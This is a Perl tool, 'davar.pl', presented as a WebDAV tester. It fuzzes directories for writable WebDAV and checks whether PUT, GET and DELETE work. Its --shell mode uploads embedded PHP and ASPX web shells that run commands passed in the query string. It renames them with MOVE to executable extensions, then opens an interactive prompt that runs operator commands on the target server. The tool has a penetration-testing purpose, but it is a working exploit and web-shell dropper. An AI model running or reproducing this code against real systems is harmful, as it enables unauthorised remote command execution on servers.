#!/usr/bin/perl
#
# davar.pl
# $Id $
#
# Version: 1.0
# Created: 2013-04-01, Bunyamin Demir
#
# Description: WebDav Tester
#
# Release Notes:
# [10.04.2013] : Added fuzzer for enabled webdav directory
# [25.04.2013] : Added Basic Authentication support
#
use strict;
use LWP::UserAgent;
use HTML::Parse;
use Getopt::Long;
use Thread;
use IO::Socket;
use threads;
use threads::shared;
use Time::HiRes qw(gettimeofday tv_interval);
use POSIX qw/ceil/;
use MIME::Base64;
#use IO::Socket::SSL;

my %stats : shared = ();

$stats{code}    = &share({});
$stats{options} = &share({});
$stats{ip}      = &share({});

# ... Get command-line options
my %opt = (host         => 'www.site.com',
	   dir          => '/',
	   dirs         => undef,
	   thread       => 1,
	   num          => 1,
	   ssl          => undef,
	   shell        => undef,
	   cmd          => undef,
	   verbose      => 0,
	   basicauth    => undef,
	   lang         => 'php',
	   port         => 80,
	  );

GetOptions('a|attack=s'     ,\$opt{attack},
	   'h|host=s'       ,\$opt{host},
	   'd|dir=s'        ,\$opt{dir},
	   'dirs=s'         ,\$opt{dirs},
	   'p|port=i'       ,\$opt{port},
	   'https'          ,\$opt{ssl},
	   'shell'          ,\$opt{shell},
	   'l|lang=s'       ,\$opt{lang},
	   'c|cmd=s'        ,\$opt{cmd},
	   't|thread=i'     ,\$opt{thread},
	   'n|num=i'        ,\$opt{num},
	   'basic-auth=s'   ,\$opt{basicauth},
	   "v|verbose"      ,\$opt{verbose},
	   "help"           ,sub { &print_usage; exit(0); },
	  );

sub print_usage {

  print qq
(Davar, v1.0
     Usage: davar.pl [options]
	  [--host]        -h  : Host for HTTP Request
	  [--dir]         -d  : WebDAV directory
	  [--dirs]            : WebDAV directories file for fuzz
	  [--port]        -p  : Port for HTTP request
	  [--https]           : SSL support
	  [--shell]           : Get shell for command execution
	  [--cmd]             : Shell command
	  [--lang]        -l  : Which language does web server use (php, aspx)
          [--basic-auth]      : Basic Authentication for HTTP Request
	  [--thread]      -t  : Thread number for tool.
	  [--num]         -n  : Connection number for tool.
          [--verbose]     -v  : verbose output
          [--help]            : display usage and options
);
}

unless ($opt{host}) {
  &print_usage;
  exit(-1);
}

print("+---------------| Davar - WebDav Tester v1.0 |-------------+");
print "\r\n";

$stats{begin_attack} = gettimeofday;

my %reads = ();

&read_list(\%reads,\%opt);

if ($opt{ssl} && ($opt{port} == 80)) {
  $opt{port} = 443;
}

if ($opt{basicauth}) {
  $opt{basicauth} = encode_base64($opt{basicauth});
}

if ($opt{shell}) {
  &shell(\%opt);
}
else {
  my @threads = ();

  my $req_per_thread = ceil($opt{num} / $opt{thread});

  for my $th ( 1 .. $opt{thread}) {

    my $t = Thread->new(\&get_options,\%opt,\%stats,\%reads,$req_per_thread,$th);

    push(@threads,$t);
  }

  foreach (@threads) {
    my $num = $_->join;
  }

  $stats{end_attack} = gettimeofday;

  &print_stats(\%stats);
}

# --------------------------------------------------------------------------

sub get_options {
  my ($opt, $stats, $reads, $num, $thread) = @_;

  foreach my $dir (@{$reads->{dirs}}) {

    my $socket = &_get_socket($opt);

    print($socket "OPTIONS $dir/ HTTP/1.1\r\n");
    print($socket "Host: $opt->{host}\r\n");
    print($socket "Connection: Keep-Alive\r\n");
    print($socket "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0\r\n");
    print($socket "Authorization: Basic $opt->{basicauth}\r\n") if $opt->{basicauth};
    print($socket "\r\n");

    sysread($socket, my $msg, 1024);

    my $rcode = &_parse_code($msg);

    if ($msg =~ /Allow\:\s(.+)\n/g) {

     my $aline         = $1;
     my $allow_methods = $1;

     $aline =~ s/GET|POST|HEAD|OPTIONS//g;

     if ($aline =~ /\w+/g) {
       $stats->{options}->{$dir} = $allow_methods;

       &delete_request($opt,$stats,$dir);

       my $put_code = &put_request($opt,$stats,$dir);

       if ($put_code =~ /^2/) {
	 print "PUT $dir/davar.txt...... \r\n";
	 my $get_code = &get_request($opt,$stats,$dir);

	 if ($get_code == 200) {
	   print "GET $dir/davar.txt...... \r\n";
	   my $delete_code = &delete_request($opt,$stats,$dir);

	   if ($delete_code =~ /^2/) {
	     print "DELETE $dir/davar.txt...... \r\n";
	   }
	 }
       }

     }
    }

    $socket->close();

    $stats->{ccount}++;

    &_print("$rcode - $dir - $stats->{options}->{$dir}\n\r");
  }
}


# --------------------------------------------------------------------------

sub delete_request {
  my ($opt, $stats, $dir) = @_;

  my $socket = &_get_socket($opt);

  print($socket "DELETE $dir/davar.txt HTTP/1.1\r\n");
  print($socket "Host: $opt->{host}\r\n");
  print($socket "Connection: Keep-Alive\r\n");
  print($socket "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0\r\n");
  print($socket "Authorization: Basic $opt->{basicauth}\r\n") if $opt->{basicauth};
  print($socket "\r\n");

  sysread($socket, my $msg, 128);

  my $rcode = &_parse_code($msg);

  $socket->close();

  $stats->{ccount}++;

  return $rcode;
}

# --------------------------------------------------------------------------

sub get_request {
  my ($opt, $stats, $dir) = @_;

  my $socket = &_get_socket($opt);

  print($socket "GET $dir/davar.txt HTTP/1.1\r\n");
  print($socket "Host: $opt->{host}\r\n");
  print($socket "Connection: Keep-Alive\r\n");
  print($socket "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0\r\n");
  print($socket "Authorization: Basic $opt->{basicauth}\r\n") if $opt->{basicauth};
  print($socket "\r\n");

  sysread($socket, my $msg, 1024);

  my $rcode = undef;

  if ($msg =~ /davar/g) {
    $rcode = &_parse_code($msg);
  }

  $socket->close();

  $stats->{ccount}++;

  return $rcode;
}

# --------------------------------------------------------------------------

sub put_request {
  my ($opt, $stats, $dir) = @_;

  my $socket = &_get_socket($opt);

  print($socket "PUT $dir/davar.txt HTTP/1.1\r\n");
  print($socket "Host: $opt->{host}\r\n");
  print($socket "Connection: Keep-Alive\r\n");
  print($socket "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0\r\n");
  print($socket "Authorization: Basic $opt->{basicauth}\r\n") if $opt->{basicauth};
  print($socket "Content-Type: text/plain\r\n");
  print($socket "Content-Length: 5\r\n");
  print($socket "\r\n");
  print($socket "davar\r\n");

  sysread($socket, my $msg, 128);

  my $rcode = &_parse_code($msg);

  $socket->close();

  $stats->{ccount}++;

  return $rcode;
}


# --------------------------------------------------------------------------

sub shell {
  my ($opt) = @_;

  my %shells =
    (php   => '<davar><?php passthru($_GET["cmd"]); ?></davar>',
     aspx  => '<%@ Page Language="C#" EnableViewState="false" %>
               <%@ Import Namespace="System.Web.UI.WebControls" %>
               <%@ Import Namespace="System.Diagnostics" %>
               <%@ Import Namespace="System.IO" %>
               <%
               string cmd = Request.QueryString["cmd"];
               if (cmd != null)  {
               Process p = new Process();
               p.StartInfo.CreateNoWindow = true;
               p.StartInfo.FileName = "cmd.exe";
               p.StartInfo.Arguments = "/c " + cmd;
               p.StartInfo.UseShellExecute = false;
               p.StartInfo.RedirectStandardOutput = true;
               p.StartInfo.RedirectStandardError = true;
               p.Start();
               string response = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd();
	       Response.Write(\'<davar>\'+response+\'</davar>\');
               }
               %>'
	    );

  my $put_socket = &_get_socket($opt);

  print($put_socket "PUT /$opt->{dir}/davar.txt HTTP/1.1\r\n");
  print($put_socket "Host: $opt->{host}\r\n");
  print($put_socket "Connection: Keep-Alive\r\n");
  print($put_socket "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0\r\n");
  print($put_socket "Authorization: Basic $opt->{basicauth}\r\n") if $opt->{basicauth};
  print($put_socket "Content-Type: text/plain\r\n");
  print($put_socket "Content-Length: ".length($shells{$opt->{lang}})."\r\n");
  print($put_socket "\r\n");
  print($put_socket "$shells{$opt->{lang}}\r\n");

  sysread($put_socket, my $put_msg, 128);

  my $put_code = &_parse_code($put_msg);
  $put_socket->close();

  if ($put_code =~ /^2/) {
    my $move_socket = &_get_socket($opt);

    print($move_socket "MOVE /$opt->{dir}/davar.txt HTTP/1.1\r\n");
    print($move_socket "Host: $opt->{host}\r\n");

    if ($opt->{ssl}) {
      if ($opt->{port} == 443) {
	print($move_socket "Destination: https://$opt->{host}/$opt->{dir}/davar.$opt->{lang}\r\n");
      }
      else {
	print($move_socket "Destination: https://$opt->{host}:$opt->{port}/$opt->{dir}/davar.$opt->{lang}\r\n");
      }
    }
    else {
      if ($opt->{port} == 80) {
	print($move_socket "Destination: http://$opt->{host}/$opt->{dir}/davar.$opt->{lang}\r\n");
      }
      else {
	print($move_socket "Destination: http://$opt->{host}:$opt->{port}/$opt->{dir}/davar.$opt->{lang}\r\n");
      }
    }

    print($move_socket "Authorization: Basic $opt->{basicauth}\r\n") if $opt->{basicauth};
    print($move_socket "\r\n");

    sysread($move_socket, my $move_msg, 128);

    my $move_code = &_parse_code($move_msg);

    $move_socket->close();
    &_command_execution($opt) if $move_code == 201;
  }
}

# --------------------------------------------------------------------------

sub read_list {
  my $reads = shift;
  my $opt   = shift;

  if ($opt->{dirs}) {
    $reads->{dirs} = &read_files($opt->{dirs});
  }
  else {
    push @{$reads->{dirs}}, $opt->{dir};
  }

  $reads->{dir_count} = scalar(@{$reads->{dirs}}) if $reads->{dirs};

  return $reads;
}

# --------------------------------------------------------------------------

sub read_files {
  my $filename = shift;

  my @params = ();

  if (open(my $file, '<', $filename)) {
    while (my $row = <$file>) {
      chomp $row;

      $row =~ s/(\/)$//g;

      if ($row =~ /^\//) {
	push @params, $row;
      }
      else {
	push @params, "/$row";
      }
    }
  }
  else {
    warn "Could not open file '$file' $!";
  }

  return \@params;
}

# --------------------------------------------------------------------------

sub _print {
  print @_ if $opt{verbose};
}

# --------------------------------------------------------------------------

sub _parse_code {
  my $line  = shift;

  $line =~ /^HTTP\/\d{1}\.\d{1}\s(\d{3})\s/g;

  return $1;
}

# --------------------------------------------------------------------------

sub _get_socket {
  my $opt = shift;

  my $socket = undef;

  if ($opt->{ssl}) {
    $socket = &_https_request($opt);
  }
  else {
    $socket = &_http_request($opt);
  }

  return $socket;
}

# --------------------------------------------------------------------------

sub _http_request {
  my $opt = shift;

  my $socket = IO::Socket::INET->new( PeerAddr  => $opt->{host},
				      PeerPort  => $opt->{port},
				      Proto     => 'tcp',
				      #LocalAddr => $ip
				    ) or die("Error :: $!");

  return $socket;
}

# --------------------------------------------------------------------------

sub _https_request {
  my $opt = shift;

  my $socket = new IO::Socket::SSL( PeerAddr        => $opt->{host},
				    PeerPort        => $opt->{port},
				    #LocalAddr       => $ip,
				    SSL_verify_mode => 'SSL_VERIFY_NONE',
				    Proto           => "tcp"
				  ) or die("Error :: $!");

  return $socket;
}

# --------------------------------------------------------------------------

sub _command_execution {
  my $opt = shift;
  print ">>";
   while(<>) {
      chomp;

      my $cmd = $_;
      my $socket = &_get_socket($opt);

      $cmd =~ s/\s/\%20/;

      print($socket "GET /$opt->{dir}/davar.$opt->{lang}?cmd=$cmd HTTP/1.1\r\n");
      print($socket "Host: $opt->{host}\r\n");
      print($socket "Connection: Keep-Alive\r\n");
      print($socket "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0\r\n");
      print($socket "\r\n");

      sysread($socket, my $msg, 1024);

      if ($msg =~ /\<davar\>(.+)\<\/davar\>/sg) {
	print $1;
      }

      print ">>";
    }
}

# --------------------------------------------------------------------------

sub print_stats {
  my $s   = shift;

  # .. Time operations
  my $a = [$s->{begin_attack}];
  my $b = [$s->{end_attack}];

  my $elapsed_time = sprintf("%.3f",tv_interval($a,$b));

  print("\r\n+---------------- Statistics --------------+\r\n");
  print "Elapsed time: $elapsed_time \r\n";
  print "Connection count: $s->{ccount} \r\n";

  print "\r\nAllowed HTTP Methods\r\n";
  print "-----------------------\r\n";
  foreach my $dir (keys %{$s->{options}}) {
    #my @mt = split /\,/, $s->{options}->{$url};
    print "$dir/ : $s->{options}->{$dir}\n\r";
  }

}

# --------------------------------------------------------------------------

1;
